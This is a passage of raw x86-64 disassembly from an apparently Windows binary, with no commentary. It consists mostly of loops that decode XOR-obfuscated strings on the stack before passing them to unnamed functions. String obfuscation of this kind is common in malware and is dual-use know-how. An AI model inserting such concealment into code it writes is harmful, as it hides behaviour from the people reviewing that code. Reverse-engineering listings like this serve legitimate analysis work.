movd dword [rbp + 0x244], xmm2
jmp 0x140098b90
lea r9, [rbp + 0x240]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140098b60
xor r9d, r9d
mov r8b, 1
lea rdx, [0x1401a5958]
lea rcx, [rbp + 0x240]
call fcn.14003bf70
movzx eax, word [0x140144fe0]
movsd xmm0, qword [str.lXHYI]
mov word [rbp + 0x4a8], ax
movsd qword [rbp + 0x4a0], xmm0
movzx eax, byte [0x140144fe2]
mov byte [rbp + 0x4a0], 0x54
xor byte [rbp + 0x4a1], 0x39
xor byte [rbp + 0x4a2], 0x3a
xor byte [rbp + 0x4a3], 0x3b
xor byte [rbp + 0x4a4], 0x3c
xor byte [rbp + 0x4a5], 0x3d
xor byte [rbp + 0x4a6], 0x3e
xor byte [rbp + 0x4a7], 0x3f
xor byte [rbp + 0x4a8], 0x40
xor byte [rbp + 0x4a9], 0x41
xor al, 0x42
mov byte [rbp + 0x4aa], al
movsd xmm0, qword [0x1401446c0]
movsd qword [rbp + 0x420], xmm0
movzx ecx, word [0x1401446c8]
mov word [rbp + 0x428], cx
movzx eax, byte [0x1401446ca]
mov byte [rbp + 0x420], 0x54
xor byte [rbp + 0x421], 0x39
xor byte [rbp + 0x422], 0x3a
xor byte [rbp + 0x423], 0x3b
xor byte [rbp + 0x424], 0x3c
xor byte [rbp + 0x425], 0x3d
xor byte [rbp + 0x426], 0x3e
xor byte [rbp + 0x427], 0x3f
xor cl, 0x40
mov byte [rbp + 0x428], cl
xor byte [rbp + 0x429], 0x41
xor al, 0x42
mov byte [rbp + 0x42a], al
lea r8, [0x140160925]
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x420]
call fcn.14007f300
movups xmm0, xmmword [0x140146700]
movups xmmword [rbp + 0xbf0], xmm0
movzx eax, byte [0x140146710]
mov byte [rbp + 0xc00], al
mov r8d, r13d
cmp r12d, 2
jl 0x140098e15
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xbf4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140098d10
cmp r8d, 0x11
jge 0x140098e60
movsxd rax, r8d
lea r9, [rbp + 0xbf0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140098e30
mov rax, qword [str.VLeTS_]
mov qword [rbp + 0x248], rax
cmp byte [0x1401450d7], 0
je 0x140098fd0
cmp r12d, 2
jl 0x140098f89
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x248]
xorps xmm2, xmm1
movd dword [rbp + 0x248], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24c]
xorps xmm2, xmm1
movd dword [rbp + 0x24c], xmm2
jmp 0x140098fd0
lea r9, [rbp + 0x248]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140098fa0
lea r9, [rbp + 0xbf0]
mov r8d, 0x30120
lea rdx, [0x140160ac8]
lea rcx, [rbp + 0x248]
call fcn.140042fc0
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movsd xmm0, qword [0x140146808]
movsd qword [rbp + 0x710], xmm0
mov eax, dword [0x140146810]
mov dword [rbp + 0x718], eax
cmp byte [0x140146813], 0
je 0x140099180
mov r8d, r13d
cmp r12d, 2
jl 0x140099140
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140146808]
xorps xmm2, xmm0
movd dword [rbp + 0x710], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x714]
xorps xmm2, xmm1
movd dword [rbp + 0x714], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x710]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140099150
movzx eax, word [0x140144dd8]
mov word [rbp + 0x438], ax
movsd xmm0, qword [str.kpvri]
movzx eax, byte [0x140144dda]
movsd qword [rbp + 0x430], xmm0
mov byte [rbp + 0x430], 0x53
xor byte [rbp + 0x431], 0x39
xor byte [rbp + 0x432], 0x3a
xor byte [rbp + 0x433], 0x3b
xor byte [rbp + 0x434], 0x3c
xor byte [rbp + 0x435], 0x3d
xor byte [rbp + 0x436], 0x3e
xor byte [rbp + 0x437], 0x3f
xor byte [rbp + 0x438], 0x40
xor byte [rbp + 0x439], 0x41
xor al, 0x42
mov byte [rbp + 0x43a], al
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x430]
call fcn.14007f140
movups xmm0, xmmword [0x140145808]
movups xmmword [rbp + 0x1040], xmm0
movsd xmm0, qword [0x140145818]
movsd qword [rbp + 0x1050], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400993d0
cmp r12d, 2
jl 0x14009938f
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1044]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140099290
jmp 0x1400993d0
lea r9, [rbp + 0x1040]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400993a0
mov rax, qword [0x1401449b8]
mov qword [rbp + 0x250], rax
cmp byte [str._vvnezrkq], 0
je 0x140099540
cmp r12d, 2
jl 0x1400994f9
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x250]
xorps xmm2, xmm1
movd dword [rbp + 0x250], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x254]
xorps xmm2, xmm1
movd dword [rbp + 0x254], xmm2
jmp 0x140099540
lea r9, [rbp + 0x250]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140099510
lea r8, [0x1401a97a9]
lea rdx, [rbp + 0x1040]
lea rcx, [rbp + 0x250]
call fcn.14007f300
mov eax, dword [0x140144f38]
mov dword [rbp + 0xea0], eax
movups xmm0, xmmword [0x140144f28]
movzx eax, byte [0x140144f3c]
movups xmmword [rbp + 0xe90], xmm0
mov byte [rbp + 0xea4], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400996d5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe94]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400995d0
cmp r8d, 0x15
jge 0x140099720
movsxd rax, r8d
lea r9, [rbp + 0xe90]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400996f0
mov eax, dword [str.VLe_]
mov dword [rbp - 0x80], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x80], 0x46
xor byte [rbp - 0x7f], 0x39
xor byte [rbp - 0x7e], 0x3a
xor byte [rbp - 0x7d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x7c], al
lea r8, [0x1401a97ac]
lea rdx, [rbp + 0xe90]
lea rcx, [rbp - 0x80]
call fcn.14007f300
movups xmm0, xmmword [str.W_YPX]
movups xmmword [rbp + 0x1310], xmm0
movsd xmm0, qword [0x140146d30]
movsd qword [rbp + 0x1320], xmm0
mov eax, dword [0x140146d38]
mov dword [rbp + 0x1328], eax
movzx eax, word [0x140146d3c]
mov word [rbp + 0x132c], ax
cmp byte [0x140146d3d], 0
je 0x140099940
mov r8d, r13d
cmp r12d, 2
jl 0x1400998f5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1314]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400997f0
cmp r8d, 0x1e
jge 0x140099940
movsxd rax, r8d
lea r9, [rbp + 0x1310]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140099910
movsd xmm0, qword [str.uX_R_]
movsd qword [rbp + 0x820], xmm0
mov eax, dword [0x140144f98]
mov dword [rbp + 0x828], eax
movzx eax, word [0x140144f9c]
mov word [rbp + 0x82c], ax
cmp byte [0x140144f9d], 0
je 0x140099ad0
mov r8d, r13d
cmp r12d, 2
jl 0x140099a8c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.uX_R_]
xorps xmm2, xmm0
movd dword [rbp + 0x820], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x824]
xorps xmm2, xmm1
movd dword [rbp + 0x824], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140099aa0
lea r8, [0x1401a97aa]
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x820]
call fcn.14007f300
movups xmm0, xmmword [str.p___s_A]
movups xmmword [rbp + 0x16a8], xmm0
movups xmm0, xmmword [0x140145478]
movups xmmword [rbp + 0x16c8], xmm0
mov eax, dword [0x140145490]
movsd xmm0, qword [0x140145488]
movups xmm1, xmmword [0x140145468]
mov dword [rbp + 0x16e0], eax
movsd qword [rbp + 0x16d8], xmm0
movups xmmword [rbp + 0x16b8], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x140099c77
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x16ac]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140099b72
cmp r8d, 0x3c
jge 0x140099cc0
movsxd rax, r8d
lea r9, [rbp + 0x16a8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140099c90
movsd xmm0, qword [0x140144478]
movsd qword [rbp + 0x720], xmm0
mov eax, dword [0x140144480]
mov dword [rbp + 0x728], eax
cmp byte [0x140144483], 0
je 0x140099e40
mov r8d, r13d
cmp r12d, 2
jl 0x140099dfe
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144478]
xorps xmm2, xmm0
movd dword [rbp + 0x720], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x724]
xorps xmm2, xmm1
movd dword [rbp + 0x724], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x720]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140099e10
mov r9d, 7
lea r8, [rbp + 0x16a8]
lea rdx, [0x1401a97dc]
lea rcx, [rbp + 0x720]
call fcn.14003b460
movzx eax, word [0x140145d60]
mov word [rbp + 0x448], ax
movsd xmm0, qword [0x140145d58]
movzx eax, byte [0x140145d62]
movsd qword [rbp + 0x440], xmm0
mov byte [rbp + 0x440], 0x53
xor byte [rbp + 0x441], 0x39
xor byte [rbp + 0x442], 0x3a
xor byte [rbp + 0x443], 0x3b
xor byte [rbp + 0x444], 0x3c
xor byte [rbp + 0x445], 0x3d
xor byte [rbp + 0x446], 0x3e
xor byte [rbp + 0x447], 0x3f
xor byte [rbp + 0x448], 0x40
xor byte [rbp + 0x449], 0x41
xor al, 0x42
mov byte [rbp + 0x44a], al
mov dword [rbp + 0x17d8], 0x1f4
mov dword [rbp + 0x17d0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
